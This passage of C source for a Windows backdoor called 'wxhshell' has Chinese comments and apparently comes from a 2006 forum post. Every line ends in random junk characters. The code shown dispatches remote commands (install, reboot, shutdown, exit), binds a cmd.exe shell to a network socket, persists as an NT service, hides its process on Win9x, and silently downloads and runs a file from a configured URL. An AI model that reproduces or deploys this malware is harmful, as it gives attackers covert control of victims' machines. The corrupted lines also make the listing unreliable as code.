  else { joRrsxFU  
=pCO1<wR  
    switch(cmd[0]) { m-HL7&iG$  
  W{i s2s  
  // 帮助 (a9>gLI0  
  case '?': { 1iJaj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \-W|)H  
    break; d7]~t|  
  } ln2lFfz  
  // 安装 )ppIO"\  
  case 'i': { \3WQ<t)W  
    if(Install()) k9_c<TSzu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h@{mcz  
    else =j~vL`d2]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y2o~~te  
    break; K(3_1*e  
    } KCl85Wi'  
  // 卸载 JC.nfxG@:  
  case 'r': { 61~7 L^882  
    if(Uninstall()) Js'j}w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U~GQ JR  
    else wj2z?0}o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Z8=y[l  
    break; ["1Iz{  
    } }pJLK\  
  // 显示 wxhshell 所在路径 g2%fla7r  
  case 'p': { 4de:hE   
    char svExeFile[MAX_PATH]; !dV2:`|+  
    strcpy(svExeFile,"\n\r"); KQTv5|$?  
      strcat(svExeFile,ExeFile); ZZ324UuATX  
        send(wsh,svExeFile,strlen(svExeFile),0); XM57 UG  
    break; bV&"jjEx  
    } e|d~&Bk0  
  // 重启 Y[rRz6.*(  
  case 'b': { t`")Re_j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WNSY@q  
    if(Boot(REBOOT)) 6FkBb !ASk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eL_Il.:  
    else { A4daIhP (  
    closesocket(wsh); aP[oLk$'Z  
    ExitThread(0); K"jS,a?s 6  
    } 2C AR2V|  
    break; LDY3Ya`6m  
    } dUH+7.\  
  // 关机 0=k  
  case 'd': { kfgkZ"9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /8wfI_P>M"  
    if(Boot(SHUTDOWN)) D@)L?AB1f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b ;>?m  
    else { fb8)jd'~}O  
    closesocket(wsh); /RI"a^&9A  
    ExitThread(0); w/e?K4   
    } d*_rJE}B  
    break; tu's]3RE  
    } .Vrl:  
  // 获取shell )fl+3!tq  
  case 's': { #~ZaN;u  
    CmdShell(wsh); <DN7  
    closesocket(wsh); t 7D~JAx6  
    ExitThread(0); 8RT<?I^5  
    break; & zv!cf  
  } X<Ag['r  
  // 退出 _%u t#  
  case 'x': { E:y^= Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "fC>]iA8I  
    CloseIt(wsh); >P ~j@Lv  
    break; q1Ad"rm  
    } * !9=?  
  // 离开 [)?yH3  
  case 'q': { Nw '$r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]app9  
    closesocket(wsh); FXul u6"SX  
    WSACleanup(); Z^Yy sf  
    exit(1); _ glB<r$  
    break; sB5@6[VDI  
        } >T)tAZ?WK  
  } &crR nv ?  
  } n~ZZX={a  
Dq-[b+bm  
  // 提示信息 1DlXsup&?#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &3Lhb}m  
} ^VEaOKMr  
  } ~UHjc0  
xDNXI01o  
  return; B`YD>oCN  
} h; 6G~D  
xXfv({  
// shell模块句柄 KquuM ]5S  
int CmdShell(SOCKET sock) 4X!4S6JfB  
{ 0\Tp/Ph  
STARTUPINFO si; 5"ooam3  
ZeroMemory(&si,sizeof(si)); B|.A6:1g+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6z]y =J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; { <1uV']x  
PROCESS_INFORMATION ProcessInfo; nNeCi  
char cmdline[]="cmd"; 2Bi?^kQ#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); raZkH8  
  return 0;  T\#Gc4  
} wYLodMaYH  
^\[c][fo  
// 自身启动模式 putRc??o;  
int StartFromService(void) iRx`Nx<@  
{ MS:,I?  
typedef struct ss6{+@,  
{ /N#=Tol  
  DWORD ExitStatus; #=)!\   
  DWORD PebBaseAddress; oF a,IA  
  DWORD AffinityMask; FzykC  
  DWORD BasePriority; <oi'yr  
  ULONG UniqueProcessId; LG:d  
  ULONG InheritedFromUniqueProcessId; YkE_7r(1  
}   PROCESS_BASIC_INFORMATION; +Jm vB6s  
2%pU'D:  
PROCNTQSIP NtQueryInformationProcess; 7w]3D  
@n=&muC}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p2< 927z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~2 nt33"  
a:OMI  
  HANDLE             hProcess; bxzx@sF2l  
  PROCESS_BASIC_INFORMATION pbi; \ueCbfV!Z4  
%YbL%i|U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A@Lr(L  
  if(NULL == hInst ) return 0; .R#-u/6g(  
VFMn"bYOB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P#Whh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T 1R~^x1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &,3s2,1U(  
eo@8?>}{X  
  if (!NtQueryInformationProcess) return 0; "shX~zd5  
Z9MR"!0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KFRf5^%  
  if(!hProcess) return 0; 2(x| %  
w{u,YM(Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t)uxW 7  
{'[VL;k  
  CloseHandle(hProcess); gs7_Q  
P;K LN9/4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V#|/\-@  
if(hProcess==NULL) return 0; Q2)(tB= )  
[La}h2gz  
HMODULE hMod; dh.{lvlX|  
char procName[255]; p_%,JD  
unsigned long cbNeeded; p~Cz6n  
Gy;Fe=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mlLqQ<  
)MLbE-@  
  CloseHandle(hProcess); 7ku=roPoF  
(C1~>7L  
if(strstr(procName,"services")) return 1; // 以服务启动 F6{/iF  
l'M/et{:  
  return 0; // 注册表启动 |(2#KMEWa  
} 2y|n!p T  
xf8[&?  
// 主模块 ~c] q:pU2  
int StartWxhshell(LPSTR lpCmdLine) P;-.\VRu  
{ Z!Z{Gm3  
  SOCKET wsl; DU)q]'[u  
BOOL val=TRUE; k3e6y  
  int port=0; &<_q00F  
  struct sockaddr_in door; m+:JNgX6  
[s\8@5?E  
  if(wscfg.ws_autoins) Install(); Mw"[2PA  
JiO8 EIM  
port=atoi(lpCmdLine); `HnZ{PKf  
7cWeB5 e?O  
if(port<=0) port=wscfg.ws_port; !Q<3TfC  
jcvq:i{  
  WSADATA data; )V+/@4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EkRx/  
Cg%Owe/E?0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KKb7dZbt<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a&2x;diF  
  door.sin_family = AF_INET; 0VNpd~G$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lZe-A/E  
  door.sin_port = htons(port); bA2[=6  
D| <_96_m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z C$F@  
closesocket(wsl); y29G#Y4J  
return 1; [{R>'~  
} Csp$_uDi  
|uz\XK  
  if(listen(wsl,2) == INVALID_SOCKET) { ;$1x_ Cb  
closesocket(wsl); u|.|dv'mbp  
return 1; pDJN}XtjT  
} .iP>?9$f"  
  Wxhshell(wsl); 1Z;cb0:  
  WSACleanup(); 1JdMw$H  
y1~ QKz  
return 0; kka{u[ruA  
WA1yA*S  
} {06ClI  
)c1Pj#|  
// 以NT服务方式启动 Zn40NKYc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l+@k:IK  
{ wu11)HFL|z  
DWORD   status = 0; .I]v D#o  
  DWORD   specificError = 0xfffffff; H^`J(J+  
d2US~.;>l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Wd(|w8J{a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'rFLG+W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]]`[tVaFr  
  serviceStatus.dwWin32ExitCode     = 0; Y*A y=@z=y  
  serviceStatus.dwServiceSpecificExitCode = 0; :SO4@JT{W  
  serviceStatus.dwCheckPoint       = 0; :RZ'_5P[If  
  serviceStatus.dwWaitHint       = 0;  lX/7  
}weE^9GiJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TNeL%s?B3  
  if (hServiceStatusHandle==0) return; <;>k[P'  
D'{ o3Q,%K  
status = GetLastError(); BT;1"l<  
  if (status!=NO_ERROR) _Gb 7n5p  
{ g2}aEfp!H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .wWf#bB  
    serviceStatus.dwCheckPoint       = 0; 0R+p\Nc&1  
    serviceStatus.dwWaitHint       = 0; Sx Bo%  
    serviceStatus.dwWin32ExitCode     = status; y,KZp2 j  
    serviceStatus.dwServiceSpecificExitCode = specificError; SX =^C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P@n rcgM.  
    return; &`>dY /Y  
  } `'mRGz7t  
eYjF"Aq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?v F8 y;Jh  
  serviceStatus.dwCheckPoint       = 0; sT<h+[2d  
  serviceStatus.dwWaitHint       = 0; ,m7Z w_.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z5<&}Vh;P  
} !^1oH**  
w)YTHY (k;  
// 处理NT服务事件,比如:启动、停止 =KnHa.%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K&dc< 4DC  
{ KM^}d$x}s  
switch(fdwControl) @Y(7n/*  
{ l#w0-n%S  
case SERVICE_CONTROL_STOP: 6 {3ql:  
  serviceStatus.dwWin32ExitCode = 0; AI9=?X<kh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4zBcq<R7  
  serviceStatus.dwCheckPoint   = 0; eB,@oo%  
  serviceStatus.dwWaitHint     = 0; jlUT9Zp  
  { (15.?9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cyL|.2,  
  } ms+gq  
  return; 0d`lugf  
case SERVICE_CONTROL_PAUSE: *s2 C+@ef  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,p..h+l  
  break; :O;uP_r9  
case SERVICE_CONTROL_CONTINUE: d+8|aS<A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tf9a- s  
  break; n.P $E  
case SERVICE_CONTROL_INTERROGATE: f-}_  
  break; ]ddL'>$c$  
}; . ve a[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n{c-3w.uD  
} gaL.5_1  
f{]W*!VV-  
// 标准应用程序主函数 ]}_Ohe]X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *NI hYg6  
{ -PiZvge  
]k.YG!$  
// 获取操作系统版本 jSvo-  
OsIsNt=GetOsVer(); %-NG eN8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v(jZ[{x@  
M:K4o%  
  // 从命令行安装 KVpQ,x&q~  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xkp`1UTH  
piPV&ytI  
  // 下载执行文件 TIP H#W:v  
if(wscfg.ws_downexe) { n(Ry~Xu_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Vjr}"K$Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); _qS4Ns/4s  
} ogE|8`Tq^  
O'W[/\A56M  
if(!OsIsNt) { DEpn>   
// 如果时win9x,隐藏进程并且设置为注册表启动 z8w@pT  
HideProc(); /KCIb:U  
StartWxhshell(lpCmdLine); 9 J~KM=p  
} BH?fFe&J:`  
else IeE6?!,)  
  if(StartFromService()) DGx<Nys@B  
  // 以服务方式启动 6 Zv~c(   
  StartServiceCtrlDispatcher(DispatchTable); 'Z^KpW  
else jR,3 -JQ  
  // 普通方式启动 ;8<lgZ9H<  
  StartWxhshell(lpCmdLine); o}lA\A  
,6^V)F  
return 0; K;(t@GL?  
}
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只看该作者 1 发表于: 2006-10-10
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